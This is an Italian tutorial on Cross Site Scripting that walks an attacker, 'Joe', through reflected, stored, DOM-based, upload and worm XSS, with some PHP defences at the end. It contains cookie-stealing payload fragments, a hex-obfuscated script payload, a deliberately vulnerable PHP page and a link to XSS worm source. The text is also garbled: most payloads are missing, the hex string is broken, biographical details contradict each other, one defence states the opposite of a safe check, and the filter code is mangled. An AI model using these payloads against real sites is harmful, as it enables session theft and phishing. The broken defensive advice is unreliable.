INTRODUZIONE
Il Cross Site Scripting, successivamente chiamato XSS per non confondersi con Cascading Style Sheets, è un tipo di vulnerabilità che affligge le applicazioni web con codice scritto in modo poco sicuro nelle variabili di input. Eseguendo un attacco di tipo XSS è possibile rubare i cookie della vittima, costruire fake login, worm, ridirezionare le pagine web e tanto altro ancora. Per questo motivo il problema non riguarda la compromissione del sito stesso nello specifico quanto ingannare gli utenti ingenui che nel 85% dei casi cascano negli attacchi XSS, compromettendo la loro stessa sicurezza e la loro identità. Più avanti spiegheremo quali sono le infinite possibilità che ci offre il Cross Site Scripting. Prima di proseguire con la lettura però si raccomanda una conoscenza basilare di :
-HTML
-PHP , GET() e POST()
-Javascript
Ricordo inoltre che con il nome “Joe” si intende l’attacker.
STORIA
Il nome “Cross Site Scripting” venne usato per la prima volta da Mark Slemko, il pioniere del XSS. Di lui sappiamo che nasce in Canada negli U.S.A. E’ attualmente “Platform Technology Director”, sovrintende allo sviluppo del prodotto, l'automazione e l'integrazione delle tecnologie
web e l’infrastruttura IT. Mark ha una vasta esperienza con leadership di alto profilo, con diversi statunitensi e canadesi tra cui aziende di software Radical Entertainment, Morgan Inc.and Avue Media Technologies.
Il nome XSS, però, oggi come oggi non rispecchia tutti i problemi che questo tipo di vulnerabilità porta con sé.
Tipi di XSS : DOM Based
Il DOM-Based Cross Site Scripting permette a Joe di lavorare non sul sito personale della vittima ma direttamente all’interno della sua macchina.
Questo avviene perché molti sistemi operativi includono “dalla nascita” alcune pagine HTML create per scopi diversi tra loro, ma a lungo andare gli utenti di questi O.S. possono commettere degli errori con queste pagine HTML, che diventano vulnerabili e possono essere soggette ad
exploit.
L’attacco:
-Joe crea un sito web con delle pagine contenenti codice malevolo
-L’utente ingenuo apre questo tipo di sito
-L’utente ha una pagina HTML vulnerabile sulla sua macchina
-Questa pagina vulnerabile esegue i comandi imposti dal codice malevolo di joe con i permessi
dell’utente ingenuo.
-Joe può ora facilmente controllare il computer della vittima
La difesa:
-Non visitare siti web sconosciuti o con nomi pochi convincenti, come ad es. nomi alfanumerici.
-tenere il proprio sistema aggiornato
-Evitare di accedere alla macchina con i permessi di root / adminsitrator
Tipi di XSS : Non-Persistenti
Le vulnerabilità XSS Non-Persistenti sono attualmente quelle più facili che possiamo trovare nel Web. Sono chiamate così perché lavorano sulla risposta HTTP immediata da parte del sito vittima: quando le pagine web prendono i dati immessi da Joe nelle variabili di input ,generano
automaticamente la pagina contenente il risultato per lo stesso Joe.
Stando a ciò, Joe inserisce diversi tipi di dati o meglio di codici malevoli fino a che il server non esegue come risultato ciò che lui ha messo come input. In genere i motori di ricerca interni ad un sito web soffrono di queste vulnerabilità XSS. Se questo avviene, allora al 99% saremo in grado di eseguire anche altro codice javascript.
Per esempio se dobbiamo cercare la vulnerabilità su un sito come:
Proviamo ad includere del codice HTML direttamente nella stringa di cui sopra:
Se il sito web è vulnerabile a Joe comparirà nei risultati di ricerca l’immagine che ha inserito prima.
Ora proviamo ad inserire del codice javascript:
Probabilmente il sito ci restituirà un pop-up con il nostro cookie all’interno del sito che stiamo visitando. Però un utente ingenuo non potrà mai essere tanto stupido da non accorgersi dello script alla fine perciò ponendo il caso di scrivere codice javascript che effettui redirect al fake login o cookie stealer (più avanti vedremo come crearne uno)che Joe ha preparato, Joe deve far apparire l’ultima parte della stringa del sito come qualcosa di normale. Per fare questo ha bisogno di codificarla in HEX, possiamo usare il tool on-line: http://www.paulschou.com/tools/xlate/ (ricordatevi però % lo dovete inserire voi) :
DIVENTA:
63%72%69%70%74%3e%61%6c%65%72%74%28%64 6f%63%75%6d%65%6e% 74%2e%
63%6f%6f%6b%69%65%29%3c%2f%73%72%6%70%74%3e
Difesa:
-La soluzione è accettare solo caratteri alfa-numerici come per esempio:
- Python: cgi.escape($code)
- PHP: eregi(“[^a-zA-Z0-9_]”,$code); $code=htmlentities($code);
E altri simili. In PHP è meglio htmlentities() che htmlspecialchars(), quest’ultimo controllo sul codice infatti se pur con difficoltà può essere superato.
Tipi di XSS Persistenti
Le XSS Persistenti sono simili a quelle Non-Persistenti. La loro “diversità” consiste che Joe non fornisce il suo link modificato per un attacco XSS ad un possibili utente ingenuo, perché lo stesso sito web vittima consente di inserire dati fissi nel sistema: questo è ad esempio il caso dei guestbook.
I guestbook non fanno alcun tipo di controllo sul codice contenuto all’interno del messaggio inserito: semplicemnteinseriscono i dati forniti dall’utente nella pagina dei risultati. Joe può così inserire quanto codice vuole, per esempio:
encodeURI(docment.cookie));”>
Con questo codice Joe può rubare i cookie dell’utente prendendoli con il cookie grabber costruito in precedenza, che a seconda di come è stato costruito può salvare i cookie dell’utente ingenuo o in un file di testo oppure può inviarli direttamente per e-mail a Joe. Oltre a questo si potrebbero scrivere tanti altri esempi di codice javascript nel sito vulnerabile. Ma preferisco prendere in considerazione solo questo poiché fa capire come la vulnerabilità XSS persistente sia la più pericolosa perché può facilmente infettare tanti utenti con un attacco unico.
Infatti Joe non prende solo i cookie di un utente ma di tutti coloro che scriveranno sul guestbook.
Difesa:
- La soluzione è accettare solo caratteri alfa-numerici come per esempio:
- Python: cgi.escape($code)
- PHP: eregi(“[^a-zA-Z0-9_]”,$code); $code=htmlentities($code);
E altri simili. In PHP è meglio htmlentities() che htmlspecialchars(), quest’ultimo controllo sul codice infatti se pur con difficoltà può essere superato.
Costruire un Cookie Grabber
Sappiate solo che alcune vulnerabilità XSS provengono anche dai cookies e quindi è opportuno controllare anche quelli.
Costruire una pagina vulnerabile ad XSS
Suppongo che questa si possa anche scrivere visto e considerato che non può danneggiare nessuno ma anzi mostra come non deve essere scritta una pagina. Inoltre questi esempi funzionano al 90% solo in locale e non sul server. Questa pagina servirà per esercitarvi.
index.hmtl
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS Vulnerability </title>
<body>
<form action="motore_uno.php" method="post">
<p align="center"><strong>Simple XSS Vulnerability</strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value=" Search it ! " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>
uno.php
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability'];
?></strong>
</body>
</html>
Come fare a “Bypass” htmlspecialchars()
Attualmente non è facile bypassare htmlspecialchars() però è possibile. evito di scriverlo sappiate però che per evitare attacchi XSS non è sufficiente utilizzare SOLO htmlspecialchars() nei vostri script PHP.
XSS Upload:
Joe dopo aver trovato il sito vulnerabile a XSS decide anche di provare a fare un upload. Perciò apre il suo programma preferito di fotoritocco crea un immagine vuota che salva come upload_0.gif, poi apre l’immagine appena creata con il suo editor testi ( es: notepad++, kate, gedit e altri)
Cancella tutte le righe che vede ed inserisce la seguente stringa:
salva l’immagine e chiude.
Poi carica upload_0.gif su un servizio di free hosting e…..ecco la XSS
La vulnerabilità consiste nel fatto che uppando l’immagine viene confrontato il codice di GIF89a come una qualsiasi altra immagine GIF, perciò non vengono controllati in nessuno modo i possibili codici maligni contenuti in questa immagine si viene cosi a creare il Cross Site Scripting.
L’alert però è visibile bene solo con Internet Explorer, Mozilla Firefox sembra avere qualche problema nel caricamento dello stesso.
Difesa:
Non controllare la variable getimagesize()
XSS Phising:
Non accontentandosi dei risultati ottenuti fino ad ora Joe decide di fare anche un fake –login per intraprendere un azione di phishing ai danni dell’utente ingenuo. Per fare ciò userà lo script
Usato in questo modo:
Ovviamente Joe si ricorderà anche di codificare l’ultima parte della stringa del sito web in HEX.
XSS Worm:
Adesso lasciamo Joe per concentraci su questo argomento difficile e “scottante” allo stesso tempo. Per prima cosa possiamo capire come strutturare un XSS Worm da quello costruito per YahooMailService, che trovate qua: http://worms.xssing.com/sources/yamanner.txt ↗
Tutto questo codice non va eseguito all’interno dell’input del nostro sito vittima…LOL..ovvio no ? Bisogna richiamarlo..fare in modo..che funzioni correttamente. Come potete immaginare va bene sia per la vulnerabilità XSS Non-Persistente e sia per la vulnerabilità XSS Persistente.
Io ne sconsiglio l’uso per ovvi motivi legali però visto che questa “guida” serve per apprendere, allora se lo dobbiamo usare..usiamolo su una vulnerabilità XSS-Persistente. Ora vediamo come applicarlo al sito vittima:
-Prendiamo il codice del nostro worm e con un editor testi, dremweaver o quello che volete salvatelo con: nome a piacere ed estensione .js
-Fatto ciò andiamo a richiamare tale script .js così:
How To “Fix” XSS:
E questo credo sia il punto che interessa di più a tutti. Gli scripts in questa sezione sono opera di TdL Staff. Per fixare il problema delle xss dobbiamo usare una delle 3 funzioni di php. Querste funzioni non fanno altro che ripulire il codice HTML, ovvero i tag, per non far si' che questi vengano iniettati nel codice. La funzione più utilizzata è htmlspecialchars() che tramuta tutti i caratteri
Infine vi è una terza funzione strip_tags(), che invece, elimina tutti gli elementi html, trannealcuni elementi consentiti che bisogno specificare come ad esempio
Quindi quello che dovete fare per ogni variabile che vi viene passata dall'utente sia essa in un form oppure nell'url stesso della pagina è applicare le funzioni htmlspecialchars(), htmlentities() e strip_tags() di php nel modo più opportuno possibile. Se poi volete mantenere i BR HTML potete usare la funzione nl2br() che appunto trasforma tutti gli
in BR (dal nome.. eh... newline to break) e che va bene anche per gli xml. In alternativa potete anche utilizzare ereg_replace() una funzione di php per espressioni regolari. È più complessa da utilizzare quindi io vi consiglio di prendere prima la mano con le 3 funzioni descritte sopra. Tuttavia visto che questa è una guida vi scrivo anche un piccolo esempio di filtraggio testo con ereg_replace().
function filter_text($text, $striptags=1, $allowable_tags='') {
$text = trim($text);
if(get_magic_quotes_gpc()) $text = stripslashes($text);
if($striptags==1) $text = strip_tags($text, $allowable_tags);
$text = str_replace("", '##92', $text);
if(empty($allowable_tags)) $text = htmlspecialchars($text);
$text = ereg_replace("'", ''', $text);
$text = ereg_replace('"', '"', $text);
$text = ereg_replace('##92', '', $text);
$text=addslashes($text);
return $text;
}
?>
Conclusioni
Spero che questa guida vi possa tornare utile all'implementazione delle vostre pagine senza buchi xss. Ringrazio nuovamente N3t.Sh4rk dal quale ho preso l'85% della guida. Per maggiori informazioni riguardo a codice omesso potete contattarmi e vi spedirò il restante codice.
Il gestore di 
